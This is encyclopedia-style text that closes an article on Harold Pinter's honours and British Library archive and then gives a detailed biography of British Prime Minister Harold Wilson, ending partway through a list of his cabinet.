          On 18 January 2007 BBC News announced that French Prime Minister Dominique de Villepin presented Harold Pinter with one of his country's highest awards, the Lgion d'honneur  at a ceremony at the French embassy in London, shortly after holding talks with Tony Blair." Prime Minister de Villepin "praised Mr Pinter's poem American Football (1991)," saying: "'With its violence and its cruelty, it is for me one of the most accurate images of war, one of the most telling metaphors of the temptation of imperialism and violence.'" "In return," Pinter "praised France for its opposition to the war in Iraq." According to the BBC's Lawrence Pollard, "the award for the great playwright underlines how much Mr Pinter is admired in countries like France as a model of the uncompromising radical intellectual." M. de Villepin concluded: "The poet stands still and observes what doesnt deserve other mens attention. Poetry teaches us how to live and you, Harold Pinter, teach us how to live."


          


          Pinter and academia


          As Merritt observes, some academic scholars and critics challenge the validity of Pinter's critiques of what he terms "the modes of thinking of those in power" (Pinter in Play 17189; 180) or dissent from his retrospective viewpoints on his own work (Begley; Karwowski; and Quigley). In his personal political history,


          
            Pinter's own "political act" of conscientious objection resulted from being "terribly disturbed as a young man by the Cold War. And McCarthyism. . . . A profound hypocrisy. 'They' the monsters, 'we' the good. In 1948 the Russian suppression of Eastern Europe was an obvious and brutal fact, but I felt very strongly then and feel as strongly now [1985] that we have an obligation to subject our own actions and attitudes to an equivalent critical and moral scrutiny." (Merritt, Pinter in Play 178)

          


          Scholars who have studied the evolution of Pinter's life and work over the course of his career agree that Pinter's analyses and dramatizations of power relations reflect such a "critical and moral scrutiny" astutely.


          Pinter's aversion to any censorship by "the authorities" is epitomized in Petey's line at the end of The Birthday Party. As the broken-down and reconstituted Stanley is being carted off by the figures of authority Goldberg and McCann, Petey calls out after him, "Stan, don't let them tell you what to do!" "I've lived that line all my damn life. Never more than now," he told Gussow in 1988 (Qtd. in Merritt, Pinter in Play 179). Pinter's ongoing opposition to "the modes of thinking of those in power"the "brick wall" of the "minds" perpetuating the "status quo" (180)infuses the "vast political pessimism" that some academic critics may perceive in his artistic work (Grimes 220), its "drowning landscape" of harsh contemporary realities, with some residual "hope for restoring the dignity of man" (Pinter, Art, Truth & Politics 9, 24).


          As Pinter's longtime friends and colleagues director David Jones and actor Henry Woolf often remind serious-minded scholars and dramatic critics, Pinter is also a "great comic writer" (Coppa); but, as Pinter said of The Caretaker, his work is only "funny, up to a point" (Qtd. in Jones; cf. Woolf, Merritt, "Talking about Pinter").


          


          The Harold Pinter Archive in the British Library


          The British Library (BL) announced publicly, on 11 December 2007, that it has purchased Harold Pinter's literary archive, augmenting its current "Harold Pinter Archive" of 80 boxes ("Loan 110 A"). It now comprises "over one hundred and fifty boxes of manuscripts, scrapbooks, letters, photographs, programmes, and emails," constituting "an invaluable resource for researchers and scholars of Pinter's work for stage, cinema, and poetry." Among its "highlights" are "an exceedingly perceptive and enormously affectionate run of letters from Samuel Beckett; letters and hand-written manuscripts revealing Pinter's close collaboration with director Joseph Losey; a charming and highly amusing exchange of letters with Philip Larkin; and a draft of Pinter's unpublished autobiographical memoir of his youth, 'The Queen of all the Fairies'," as well as especially-poignant letters from Pinter's "inspirational" Hackney Downs School English teacher and friend, Joseph Brearley.


          According to the official BL press release, citing its head of Modern Literary Manuscripts, Jamie Andrews, the "extensive collection of correspondence" of "over 12,000 letters" in its expanded Pinter Archive "encompasses the personal, professional and political aspects of the legendary writer, whose career has covered directing, acting, screenwriting, poetry and journalism, as well as his original work for the theatre" and documents Pinter's "key role in post-War theatre and film ... through his extensive correspondence with [other] leading playwrights and literary figures such as Simon Gray, David Hare, David Mamet, Arthur Miller, John Osborne, and [Sir] Tom Stoppard, as well as actors and directors including Sir John Gielgud [corrected] and Sir Peter Hall." This collection also "documents all international performances of Pinter's plays, as well as exchanges with academics that highlight Pinter's engagement with the global scholarly community. There is also extensive material relating to Pinter's commitment to human rights, covering his journalism, poetry and direct action." The BL expects to catalogue the whole Archive by "the end of 2008."


          From 10 January through 13 April 2008, the British Library is exhibiting a "small temporary display, 'His Own Domain: Harold Pinter, A Life in Theatre', featuring a range of unique manuscripts, letters, photographs, and sound recordings from the archive charting Pinter's life in the theatre as an actor, director, and writer of some of the most significant and celebrated plays of the twentieth-century."
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          James Harold Wilson, Baron Wilson of Rievaulx, KG, OBE, FRS, PC ( 11 March 1916  24 May 1995) was one of the most prominent British politicians of the 20th century. He emerged as Prime Minister after more General Elections than any other 20th century Prime Minister of the United Kingdom, with majorities of 4 in 1964, 98 in 1966 and 5 in October 1974, and with enough seats to form a minority government with Ulster Unionist Party support in February 1974.


          


          Birth and early life


          Wilson was born in Huddersfield, England in 1916, an almost exact contemporary of his rival, Edward Heath. He came from a political family, his father Herbert (18821971), a works chemist having been active in the Liberal Party and then having joined the Labour Party. His mother Ethel (ne Seddon; 18821957) was a schoolteacher prior to he marriage. When Wilson was eight, he visited London and a later-to-be-famous photograph was taken of him standing on the doorstep of 10 Downing Street.


          Wilson won a scholarship to attend the local grammar school, Royds Hall Secondary School, Huddersfield. His education was disrupted in 1931 when he contracted typhoid fever after drinking contaminated milk on a Scouts' outing and took months to recover. The next year his father, working as an industrial chemist, was made redundant and moved to Spital on the Wirral to find work. Wilson attended the sixth form at the Wirral Grammar School for Boys, where he became Head Boy.


          


          University
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          Wilson did well at school and, although he missed getting a scholarship, he obtained an exhibition which when topped up by a county grant enabled him to study Modern History at Jesus College, Oxford from 1934. At Oxford, Wilson was moderately active in politics as a member of the Liberal Party but was later influenced by G. D. H. Cole to join the Labour Party. After his first year, he changed his field of study to Philosophy, Politics and Economics, and he graduated with an outstanding first class degree. He continued in academia, becoming one of the youngest Oxford University dons of the century.


          Wilson was a lecturer in Economics at New College in 1937 and a lecturer in Economic History at University College from 1938 (and was a fellow of the latter college 193845). For much of this time, he was a research assistant to William Beveridge on unemployment and the trade cycle.


          In 1940, he married (Gladys) Mary Baldwin, who remained his wife until his death. Mary Wilson became a published poet. They had two sons, Robin and Giles; Robin became a Professor of Mathematics, and Giles became a teacher. In November 2006 it was reported that Giles had given up his teaching job and become a train driver for South West Trains.


          


          Wartime service


          On the outbreak of the Second World War, Wilson volunteered for service but was classed as a specialist and moved into the Civil Service instead. Most of his War was spent as a statistician and economist for the coal industry. He was Director of Economics and Statistics at the Ministry of Fuel and Power 19434.


          He was to remain passionately interested in statistics. As President of the Board of Trade, he was the driving force behind the Statistics of Trade Act 1947, which is still the authority governing most economic statistics in Great Britain. He was instrumental as Prime Minister in appointing Claus Moser as head of the Central Statistical Office, and was President of the Royal Statistical Society in 197273).


          


          In Parliament


          As the War drew to an end, he searched for a seat to fight at the impending general election. He was selected for Ormskirk, then held by Stephen King-Hall. Wilson accidentally agreed to be adopted as the candidate immediately rather than delay until the election was called, and was therefore compelled to resign from the Civil Service. He used the time in between to write A New Deal for Coal which used his wartime experience to argue for nationalisation of the coal mines on the basis of improved efficiency.


          In the 1945 general election, Wilson won his seat in line with the Labour landslide. To his surprise, he was immediately appointed to the government as Parliamentary Secretary to the Ministry of Works. Two years later, he became Secretary for Overseas Trade, in which capacity he made several official trips to the Soviet Union to negotiate supply contracts. Conspiracy-minded critics would later seek to raise suspicions about these trips.


          On 14 October 1947, Wilson was appointed President of the Board of Trade and, at 31, became the youngest member of the Cabinet in the 20th century. He took a lead in abolishing some of the wartime rationing, which he referred to as a "bonfire of controls". In the general election of 1950, his constituency was altered and he was narrowly elected for the new seat of Huyton.


          Wilson was becoming known as a left-winger and joined Aneurin Bevan in resigning from the government in April 1951 in protest at the introduction of National Health Service (NHS) medical charges to meet the financial demands imposed by the Korean War. After the Labour Party lost the general election later that year, he was made chairman of Bevan's "Keep Left" group, but shortly thereafter he distanced himself from Bevan. By coincidence, it was Bevan's further resignation from the Shadow Cabinet in 1954 that put Wilson back on the front bench.


          


          Opposition


          Wilson soon proved a very effective Shadow Minister. One of his procedural moves caused the loss of the Government's Finance Bill in 1955, and his speeches as Shadow Chancellor from 1956 were widely praised for their clarity and wit. He coined the term " gnomes of Zurich" to describe Swiss bankers whom he accused of pushing the pound down by speculation. In the meantime, he conducted an inquiry into the Labour Party's organisation following its defeat in the 1955 general election, which compared the Party organization to an antiquated "penny farthing" bicycle, and made various recommendations for improvements. Unusually, Wilson combined the job of Chairman of the House of Commons Public Accounts Committee with that of Shadow Chancellor from 1959.


          Wilson steered a course in intra-party matters in the 1950s and early 1960s that left him fully accepted and trusted by neither the left nor the right. Despite his earlier association with the left-of-centre Aneurin Bevan, in 1955 he backed the right-of-centre Hugh Gaitskell against Bevan for the party leadership He then launched an opportunistic but unsuccessful challenge to Gaitskell in 1960, in the wake of the Labour Party's 1959 defeat, Gaitskell's controversial attempt to ditch Labour's commitment to nationalisation in the shape of the Party's Clause Four, and Gaitskell's defeat at the 1960 Party Conference over a motion supporting Britain's unilateral nuclear disarmament. Wilson also challenged for the deputy leadership in 1962 but was defeated by George Brown. Following these challenges, he was moved to the position of Shadow Foreign Secretary.


          Hugh Gaitskell died unexpectedly in January 1963, just as the Labour Party had begun to unite and to look to have a good chance of being elected to government. Wilson became the left candidate for the leadership. He defeated George Brown, who was hampered by a reputation as an erratic figure, in a straight contest in the second round of balloting, after James Callaghan, who had entered the race as an alternative to Brown on the right of the party, had been eliminated in the first round.


          Wilson's 1964 election campaign was aided by the Profumo Affair, a 1963 ministerial sex scandal that had mortally wounded the Conservative government of Harold Macmillan and was to taint his successor Sir Alec Douglas-Home, even though Home had not been involved in the scandal. Wilson made capital without getting involved in the less salubrious aspects. (Asked for a statement on the scandal, he reportedly said "No comment... in glorious Technicolor!"). Home was an aristocrat who had given up his title as Lord Home to sit in the House of Commons. To Wilson's comment that he was the fourteenth Earl of Home, Home retorted "I suppose Mr. Wilson is the fourteenth Mr. Wilson".


          At the Labour Party's 1963 annual conference, Wilson made possibly his best-remembered speech, on the implications of scientific and technological change, in which he argued that "the Britain that is going to be forged in the white heat of this revolution will be no place for restrictive practices or for outdated measures on either side of industry". This speech did much to set Wilson's reputation as a technocrat not tied to the prevailing class system.


          


          Prime Minister


          Labour won the 1964 general election with a narrow majority of four seats, and Wilson became Prime Minister. This was an insufficient parliamentary majority to last for a full term, and after 18 months, a second election in March 1966 returned Wilson with the much larger majority of 96.
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          Economic policies


          In economic terms, Wilson's first three years in office were dominated by an ultimately doomed effort to stave off the devaluation of the pound. He inherited an unusually large external deficit on the balance of trade. This partly reflected the preceding government's expansive fiscal policy in the run-up to the 1964 election, and the incoming Wilson team tightened the fiscal stance in response. Many British economists advocated devaluation, but Wilson resisted, reportedly in part out of concern that Labour, which had previously devalued sterling in 1949, would become tagged as "the party of devaluation".


          After a costly battle, market pressures forced the government into devaluation in 1967. Wilson was much criticized for a broadcast in which he assured listeners that the "pound in your pocket" had not lost its value. It was widely forgotten that his next sentence had been "prices will rise". Economic performance did show some improvement after the devaluation, as economists had predicted.


          A main theme of Wilson's economic approach was to place enhanced emphasis on "indicative economic planning." He created a new Department of Economic Affairs to generate ambitious targets that were in themselves supposed to help stimulate investment and growth. Though now out of fashion, faith in this approach was at the time by no means confined to the Labour Party -- Wilson built on foundations that had been laid by his Conservative predecessors, in the shape, for example, of the National Economic Development Council (known as "Neddy") and its regional counterparts (the "little Neddies").


          The continued relevance of industrial nationalisation (a centerpiece of the post-War Labour government's programme) had been a key point of contention in Labour's internal struggles of the 1950's and early 1960's. Wilson's predecessor as leader, Hugh Gaitskell, had tried in 1960 to tackle the controversy head-on, with a proposal to expunge Clause Four (the public ownership clause) from the party's constitution, but had been forced to climb down. Wilson took a characteristically more subtle approach. He threw the party's left wing a symbolic bone with the renationalisation of the steel industry, but otherwise left Clause Four formally in the constitution but in practice on the shelf.


          Wilson made periodic attempts to mitigate inflation through wage-price controls, better known in the UK as "prices and incomes policy". Partly as a result, the government tended to find itself repeatedly injected into major industrial disputes, with late-night "beer and sandwiches at Number Ten" an almost routine culmination to such episodes. Among the more damaging of the numerous strikes during Wilson's periods in office was a six-week stoppage by the National Union of Seamen, beginning shortly after Wilson's re-election in 1966. With public frustration over strikes mounting, Wilson's government in 1969 proposed a series of reforms to the legal basis for industrial relations (labour law) in the UK, which were outlined in a White Paper entitled " In Place of Strife". Following a confrontation with the Trades Union Congress, however, which strongly opposed the proposals, the government substantially backed-down from its proposals. Some elements of these reforms were subsequently to be revived (in modified form) as a centerpiece of the premiership of Margaret Thatcher.


          


          External affairs


          Overseas, while Britain's retreat from Empire had by 1964 already progressed a long way (and was to continue during his terms in office), Wilson was troubled by a major crisis over the future of the British crown colony of Rhodesia. Wilson refused to concede official independence to the Rhodesian Prime Minister Ian Smith, who led a white minority government which resisted extending the vote to the majority black population. Smith in response proclaimed Rhodesia's Unilateral Declaration of Independence on November 11, 1965. Wilson was applauded by most nations for taking a firm stand on the issue (and none extended diplomatic recognition to the Smith regime). He declined, however, to intervene in Rhodesia with military force, believing the UK population would not support such action against their "kith and kin". Smith subsequently attacked Wilson in his memoirs, accusing him of delaying tactics during negotiations and alleging duplicity; Wilson responded in kind, questioning Smith's good faith and suggesting that Smith had moved the goal-posts whenever a settlement appeared in sight.


          Despite considerable pressure from US President Lyndon Johnson for at least a token involvement of British military units in the Vietnam War, Wilson consistently avoided such a commitment of British forces. His government offered some rhetorical support for the US position (most prominently in the defense offered by then-Foreign Secretary Michael Stewart in a much-publicized "teach in" or debate on Vietnam), and on at least one occasion made an unsuccessful effort to intermediate in the conflict. On 28 June 1966 Wilson 'dissociated' his Government from Johnson's bombing of Hanoi and Haiphong. From a contemporary viewpoint, some commentators have attached new significance to Wilson's independent line on Vietnam in light of Britain's participation in the Iraq War (2003) with the US Government.


          In 1967, Wilson's Government lodged the UK's second application to join the European Economic Community. Like the first, made under Harold Macmillan, it was vetoed by the French President Charles de Gaulle.


          That same year, Wilson announced the Britain would withdraw its military forces from major bases ' East of Suez', effectively bringing Britain's empire to an end and marking a major shift in Britain's global defence strategy in the twentieth century.


          


          Social issues


          Wilson's period in office witnessed a range of social reforms, including abolition of capital punishment, decriminalisation of homosexual acts between consenting adults in private, liberalisation of abortion law, divorce reform, and abolition of theatre censorship. Such reforms were mostly adopted on non-party votes, but the large Labour majority after 1966 was undoubtedly more open to such changes than previous parliaments had been. Wilson personally, coming culturally from a provincial non-conformist background, showed no particular enthusiasm for much of this agenda (which some linked to the "permissive society"), but the reforming climate was especially encouraged by Roy Jenkins during his period at the Home Office.


          Wilson's 1966-70 term witnessed growing public concern over the level of immigration to the United Kingdom. The issue was dramatised at the political level by a strongly-worded speech by the Conservative politician Enoch Powell, who was dismissed from the Shadow Cabinet as a result. Wilson's government adopted a two-track approach. While condemning racial discrimination (and adopting legislation to make it a legal offense), Wilson's Home Secretary James Callaghan introduced significant new restrictions on the right of immigration to the United Kingdom.


          


          Electoral defeat and return to office


          By 1969, the Labour Party was suffering serious electoral reverses. In May 1970, Wilson responded to an apparent recovery in his government's popularity by calling a general election, but, to the surprise of most observers, was defeated at the polls.


          Wilson survived as leader of the Labour party in opposition. He returned to 10 Downing Street in 1974, after defeating the Conservative government under Edward Heath in February 1974, as leader of a minority Labour Government. He gained a majority in another election shortly afterwards, in October 1974.


          Among the most challenging political dilemmas Wilson faced in opposition and on his return to power was the issue of British membership of the European Community (EC), which had been negotiated by the Heath administration following de Gaulle's fall from power in France. The Labour party was deeply divided on the issue, and risked a major split. Wilson showed political ingenuity in devising a position that both sides of the party could agree on. Labour's manifesto in 1974 thus included a pledge to renegotiate terms for Britain's membership and then hold a referendum (a constitutional procedure without precedent in British history) on whether to stay in the EC on the new terms. A referendum on the retention was duly held on 5 June 1975. Rather than the normal British tradition of the government taking a position which all its members were required to support publicly, members of the Government were free to present their views on either side of the question. In the event, continued membership passed.


          


          Northern Ireland


          In the late 1960s, Wilson's government witnessed the outbreak of The Troubles in Northern Ireland. In response to a request from the government of the province, the government agreed to deploy the British army in an effort to maintain the peace. Out of office in the autumn of 1971, Wilson formulated a 16-point, 15 year program that was designed to pave the way for the unification of Ireland. The proposal was welcomed in principle by the Heath government at the time, but never put into effect.


          In May 1974, he condemned the Unionist-controlled Ulster Workers' Strike as a " sectarian strike" which was "being done for sectarian purposes having no relation to this century but only to the seventeenth century". However he refused to pressure a reluctant British Army to face down the loyalist paramilitaries who were intimidating utility workers. In a later television speech he referred to the "loyalist" strikers and their supporters as "spongers" who expected Britain to pay for their lifestyles. The strike was eventually successful in breaking the power-sharing Northern Ireland executive.


          


          Wilson and education


          Wilson was a bright boy who had made the most of his opportunities. This gave him a belief that education was key to giving working-class children the chance of a better future.


          In practical terms, Wilson continued the rapid creation of new universities, in line with the recommendations of the Robbins Report, a bipartisan policy already in train when Labour took power. Alas, the economic difficulties of the period deprived the tertiary system of the resources it needed. However, university expansion remained a core policy. One notable effect was the first entry of women into university education in significant numbers.


          Wilson also deserves credit for grasping the concept of an Open University, to give adults who had missed out on tertiary education a second chance through part-time study and distance learning. His political commitment included assigning implementation responsibility to Baroness Jennie Lee, the widow of Labour's iconic left-wing tribune Aneurin Bevan.


          Wilson's record on secondary education is, by contrast, highly controversial. A fuller description is in the article Education in England. Two factors played a role. Following the Education Act 1944 there was disaffection with the tripartite system of academically-oriented Grammar schools for a small proportion of "gifted" children, and Technical and Secondary Modern schools for the majority of children. Pressure grew for the abolition of the selective principle underlying the " eleven plus", and replacement with Comprehensive schools which would serve the full range of children (see the article Debates on the grammar school). Comprehensive education became Labour Party policy.


          Labour pressed local authorities to convert grammar schools, many of them cherished local institutions, into comprehensives. Conversion continued on a large scale during the subsequent Conservative Heath administration, although the Secretary of State, Mrs Margaret Thatcher, ended the compulsion of local governments to convert. While the proclaimed goal was to level school quality up, many felt that the grammar schools' excellence was being sacrificed with little to show in the way of improvement of other schools. Critically handicapping implementation, economic austerity meant that schools never received sufficient funding.


          A second factor affecting education was change in teacher training, including introduction of "progressive" child-centered methods, abhorred by many established teachers. In parallel, the profession became increasingly politicised. The status of teaching suffered and is still recovering.


          Few nowadays question the unsatisfactory nature of secondary education in 1964. Change was overdue. However, the manner in which change was carried out is certainly open to criticism. The issue became a priority for ex-Education Secretary Margaret Thatcher when she came to office in 1979.


          In 1966, Wilson was created the first Chancellor of the newly created University of Bradford, a position he held until 1985.


          


          Resignation


          On 16 March 1976, Wilson surprised the nation by announcing his resignation as Prime Minister. He claimed that he had always planned on resigning at the age of sixty, and that he was physically and mentally exhausted. As early as the late 1960s, he had been telling intimates, like his doctor Sir Joseph Stone (later Lord Stone of Hendon), that he did not intend to serve more than eight or nine years as Prime Minister. However, by 1976 he was probably also aware of the first stages of early-onset Alzheimer's disease, as both his formerly excellent memory and powers of concentration began to fail dramatically.
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          Queen Elizabeth II came to dine at 10 Downing Street to mark his resignation, an honour she has bestowed on only one other Prime Minister, Sir Winston Churchill.


          Wilson's resignation honours list included many businessmen and celebrities, along with his political supporters. It caused lasting damage to his reputation when it was revealed that the first draft of the list had been written by Marcia Williams on lavender notepaper (it became known as The Lavender List). Some of those whom Wilson honoured included Lord Kagan, eventually imprisoned for fraud, and Sir Eric Miller, who later committed suicide while under police investigation for corruption.


          Tony Benn, James Callaghan, Anthony Crosland, Michael Foot, Denis Healey and Roy Jenkins stood in the first ballot to replace him. Jenkins was initially tipped as the favourite but came third on the initial ballot. In the final ballot on 5 April, Callaghan defeated Foot in a parliamentary vote of 176 to 137, thus becoming Wilson's successor as Prime Minister and leader of the Labour Party.


          As Wilson wished to remain an MP after leaving office, he was not immediately given the peerage customarily offered to retired Prime Ministers, but instead was created a Knight of the Garter. On leaving the House of Commons in 1983, he was created Baron Wilson of Rievaulx, after Rievaulx Abbey, in the north of his native Yorkshire.


          


          Death


          Not long after Wilson's retirement, his mental deterioration from Alzheimer's disease began to be apparent, and he rarely appeared in public after 1987. He died of colon cancer in May 1995, at the age of 79. He is buried on St Mary's, Isles of Scilly. His epitaph is Tempus Imperator Rerum (Time Commands All Things). His memorial service was held in Westminster Abbey on 13 July.


          


          Political "style"


          Wilson regarded himself as a "man of the people" and did much to promote this image, contrasting himself with the stereotypical aristocratic conservatives who had preceded him. Features of this portrayal included his working man's 'Gannex' raincoat, his pipe (though in private he smoked cigars), his love of simple cooking and overuse of the popular British relish, ' HP Sauce', his support for his home town's football team, Huddersfield, and his working-class Yorkshire accent. Eschewing continental holidays, he returned every summer with his family to the Isles of Scilly. His first general election victory relied heavily on associating these down-to-earth attributes with a sense that the UK urgently needed to modernise, after "thirteen years of Tory mis-rule...."


          Wilson exhibited his populist touch in 1965 when he had The Beatles honoured with the award the MBE. (Such awards are officially bestowed by The Queen but are nominated by the Prime Minister of the day.) The award was popular with young people and contributed to a sense that the Prime Minister was "in touch" with the younger generation. There were some protests by conservatives and elderly members of the military who were earlier recipients of the award, but such protesters were in the minority. Critics claimed that Wilson acted to solicit votes for the next general election (which took place less than a year later), but defenders noted that, since the mimimum voting age at that time was 21, this was hardly likely to impact many of the Beatles' fans who at that time were predominantly teenagers. It did however cement Wilson's image as a modernistic leader and linked him to the burgeoning pride in the 'New Britain' typified by the Beatles.


          One year later, in 1967, Wilson had a different interaction with a musical ensemble. He sued the pop group The Move for libel after the band's manager Tony Secunda published a promotional postcard for the single Flowers In The Rain, featuring a caricature depicting Wilson in bed with his female assistant, Marcia Falkender (later Baroness Falkender). Wild gossip had hinted at an improper relationship, though these rumours were never substantiated. Wilson won the case, and all royalties from the song (composed by Move leader Roy Wood) were assigned in perpetuity to a charity of Wilson's choosing.


          Wilson had a knack for memorable phrases. He coined the term " Selsdon Man" to refer to the anti-interventionist policies of the Conservative leader Edward Heath, developed at a policy retreat held at the Selsdon Park Hotel in early 1970. This phrase, intended to evoke the "primitive throwback" qualities of anthropological discoveries such as Piltdown Man and Swanscombe Man, was part of a British political tradition of referring to political trends by suffixing man. Another famous quote is "A week is a long time in politics": this signifies that political fortunes can change extremely rapidly. Other memorable phrases attributed to Wilson include "the white heat of the [technological] revolution" and his comment after the 1967 devaluation of the pound: "This does not mean that the pound here in Britain  in your pocket or purse  is worth any less....", usually now quoted as "the pound in your pocket".


          


          Reputation


          Despite his successes and onetime popularity, Harold Wilson's reputation has not yet recovered from its low ebb following his second premiership. Some claim he did not do enough to modernise the Labour Party, or that an alleged preoccupation with political in-fighting came at the expense of governing the country. This line of argument partly blames Wilson for the civil unrest of the late 1970s (during Britain's Winter of Discontent), and for the success of the Conservative party and its ensuing 18-year rule. His supporters argue that it was only Wilson's own skillful management that allowed an otherwise fractious party to stay politically united and govern. In either case this co-existence did not long survive his leadership, and the factionalism that followed contributed greatly to the Labour Party's low ebb during the 1980s. For many voters, Thatcherism emerged politically as the only alternative [see TINA] to the excesses of trade-union power. Meanwhile, the reinvention of the Labour Party would take the better part of two decades, at the hands of Neil Kinnock, John Smith and Tony Blair.


          In 1964, when he took office, the mainstream of informed opinion (in all the main political parties, in academia and the media, etc.) strongly favored the type of technocratic, "indicative planning" approach that Wilson endeavored to implement. Radical market reforms, of the kind eventually adopted by Margaret Thatcher, were in the mid-1960s backed only by a "fringe" of enthusiasts (such as the leadership of the later-influential Institute of Economic Affairs), and had almost no representation at senior levels even of the Conservative Party. Fifteen years later, disillusionment with Britain's weak economic performance and the unsatisfactory state of industrial relations, combined with active spadework by figures such as Sir Keith Joseph, had helped to make a radical market programme politically feasible for Margaret Thatcher (and in turn to influence the subsequent Labour leadership, especially under Tony Blair). To suppose that Wilson could have adopted such a line in 1964 is, however, anachronistic: like almost any political leader, Wilson was fated to work (sometimes skillfully and successfully, sometimes not) with the ideas that were in the air at the time.


          


          MI5 plots?


          In 1963, Soviet defector Anatoliy Golitsyn is said to have secretly claimed that Wilson was a KGB agent. The majority of intelligence officers did not believe that Golitsyn was a genuine defector but a significant number did (most prominently James Jesus Angleton, the Deputy Director of Counter-Intelligence at the U.S. Central Intelligence Agency (CIA)) and factional strife broke out between the two groups. The book Spycatcher (an expos of MI5) alleged that 30 MI5 agents then collaborated in an attempt to undermine Wilson. The author Peter Wright (a former member of MI5) later claimed that his ghostwriter had written 30 when he had meant 3. Many of Wright's claims are controversial, and a ministerial statement reported that an internal investigation failed to find any evidence to support the allegations.


          Several other voices beyond Wright have raised claims of "dirty tricks" on the part of elements within the intelligence services against Wilson while he was in office. In March 1987, James Miller, a former MI5 agent, claimed that MI5 had encouraged the Ulster Workers' Council general strike in 1974 in order to destabilise Wilson's Government. See also: Walter Walker and David Stirling. In July 1987, Labour MP Ken Livingstone used his maiden speech to raise the 1975 allegations of a former Army Press officer in Northern Ireland, Colin Wallace, who also alleged a plot to destabilise Wilson. Chris Mullin, MP, speaking on 23rd of November, 1988, argued that sources other than Peter Wright supported claims of a long-standing attempt by the intelligence services (MI5) to undermine Wilson's government


          A BBC programme The Plot Against Harold Wilson, broadcast in 2006, reported that, in tapes recorded soon after his resignation on health grounds, Wilson stated that for 8 months of his premiership he didn't "feel he knew what was going on, fully, in security". Wilson alleged two plots, in the late 1960s and mid 1970s respectively. He said that plans had been hatched to install Lord Louis Mountbatten, the Duke of Edinburgh's uncle and mentor, as interim Prime Minister. He also claimed that ex-military leaders had been building up private armies in anticipation of "wholesale domestic liquidation".


          In the documentary some of Wilson's allegations received partial confirmation in interviews with ex-intelligence officers and others, who reported that, on two occasions during Wilson's terms in office, they had talked about a possible coup to take over the government.


          On a separate track, elements within MI5 had also, the BBC programme reported, spread "black propaganda" that Wilson and Williams were Soviet agents, and that Wilson was an IRA sympathiser, apparently with the intention of helping the Conservatives win the 1974 election.


          For the factual basis for the Mountbatten reference, see "Other Conspiracy Theories" below.


          


          Other conspiracy theories


          Richard Hough, in his 1980 biography of Mountbatten, indicates that Mountbatten was in fact approached during the 1960s in connection with a scheme to install an "emergency government" in place of Wilson's administration. The approach was made by Cecil Harmsworth King, the chairman of the International Printing Corporation (IPC), which published the Daily Mirror newspaper. Hough bases his account on conversations with the Mirror's long-time editor Hugh Cudlipp, supplemented by the recollections of the scientist Solly Zuckerman and of Mountbattens valet, William Evans. Cudlipp arranged for Mountbatten to meet King on 8 May 1968. King had long yearned to play a more central political role, and had personal grudges against Wilson (including Wilson's refusal to propose King for the hereditary earldom that King coveted). He had already failed in an earlier attempt to replace Wilson with James Callaghan. With Britain's continuing economic difficulties and industrial strife in the 1960s, King convinced himself that Wilson's government was heading towards collapse. He thought that Mountbatten, as a Royal and a former Chief of the Defence Staff, would command public support as leader of a non-democratic "emergency" government. Mountbatten insisted that his friend, Zuckerman, be present (Zuckerman says that he was urged to attend by Mountbattens son-in-law, Lord Brabourne, who worried King would lead Mountbatten astray). King asked Mountbatten if he would be willing to head an emergency government. Zuckerman said the idea was treachery and Mountbatten in turn rebuffed King. He does not, however, appear to have reported the approach to Downing Street.


          The question of how serious a threat to democracy may have existed during these years continues to be controversial -- a key point at issue being who of any consequence would have been ready to move beyond grumbling about the government (or spreading rumours) to actively taking unconstitutional action. King himself was an inveterate schemer but an inept actor on the political stage. More fundamentally, Denis Healey, who served for six years as Wilson's Secretary of State for Defence, has argued that actively serving senior British military officers would not have been prepared to overthrow a constitutionally-elected government. By the time of his resignation, Wilson's own perceptions of any threat may have been exacerbated by the onset of Alzheimer's; his inherent tendency to suspiciousness was undoubtedly stoked by some in his inner circle, notably including Marcia Williams. Perhaps significantly, when Cecil King penned a strongly worded editorial against Wilson for the Daily Mirror two days after his abortive meeting with Mountbatten, the unanimous reaction of IPC's directors was to fire him with immediate effect from his position as Chairman.


          Files released on 1 June 2005 show that Wilson was concerned that, while on the Isles of Scilly, he was being monitored by Russian ships disguised as trawlers. MI5 found no evidence of this, but told him not to use a walkie-talkie.)


          Wilson's Government took strong action against the controversial, self-styled Church of Scientology in 1967, banning foreign Scientologists from entering the UK (a prohibition which remained in force until 1980). In response, L. Ron Hubbard, Scientology's founder, accused Wilson of being in cahoots with Soviet Russia and an international conspiracy of psychiatrists and financiers. Wilson's Minister of Health, Kenneth Robinson, subsequently won a libel suit against the Church and Hubbard.


          


          Harold Wilson's first government, October 1964 - June 1970


          Initial Cabinet


          
            	Harold Wilson - Prime Minister


            	George Brown - First Secretary of State and Secretary of State for Economic Affairs


            	Lord Gardiner - Lord Chancellor


            	Herbert Bowden - Lord President of the Council


            	Lord Longford - Lord Privy Seal


            	James Callaghan - Chancellor of the Exchequer


            	Patrick Gordon Walker - Secretary of State for Foreign Affairs


            	Sir Frank Soskice - Secretary of State for the Home Department


            	Fred Peart - Minister of Agriculture, Fisheries and Food


            	Anthony Greenwood - Secretary of State for the Colonies


            	Arthur Bottomley - Secretary of State for Commonwealth Relations


            	Denis Healey - Secretary of State for Defence


            	Michael Stewart - Secretary of State for Education and Science


            	Richard Crossman - Minister of Housing and Local Government


            	Barbara Castle - Minister for Overseas Development


            	Ray Gunter - Minister of Labour


            	Douglas Houghton - Chancellor of the Duchy of Lancaster


            	Frederick Lee - Minister of Power


            	William Ross - Secretary of State for Scotland


            	Frank Cousins - Minister of Technology


            	Douglas Jay - President of the Board of Trade


            	Thomas Fraser - Minister of Transport


            	Jim Griffiths - Secretary of State for Wales


            	Margaret Herbison - Minister of Pensions and National Insurance

          


          Changes


          
            	January 1965 - Michael Stewart succeeds Patrick Gordon Walker as Foreign Secretary. Anthony Crosland succeeds Stewart as Education Secretary.


            	December 1965 - Barbara Castle succeeds Thomas Fraser as Minister of Transport. Anthony Greenwood succeeds Castle as Minister of Overseas Development. Lord Longford succeeds Greenwood as Colonial Secretary. Sir Frank Soskice succeeds Lord Longford as Lord Privy Seal. Roy Jenkins succeeds Soskice as Home Secretary.


            	April 1966 - Lord Longford succeeds Sir Frank Soskice as Lord Privy Seal. Frederick Lee succeeds Longford as Colonial Secretary. Richard Marsh succeeds Lee as Minister of Power. Douglas Houghton resigns as Chancellor of the Duchy of Lancaster. His successor is not in the cabinet. Cledwyn Hughes succeeds Jim Griffiths as Welsh Secretary.


            	July 1966 - Tony Benn succeeds Frank Cousins as Minister of Technology.

          


          After reshuffle, August 1966


          
            	Harold Wilson - Prime Minister


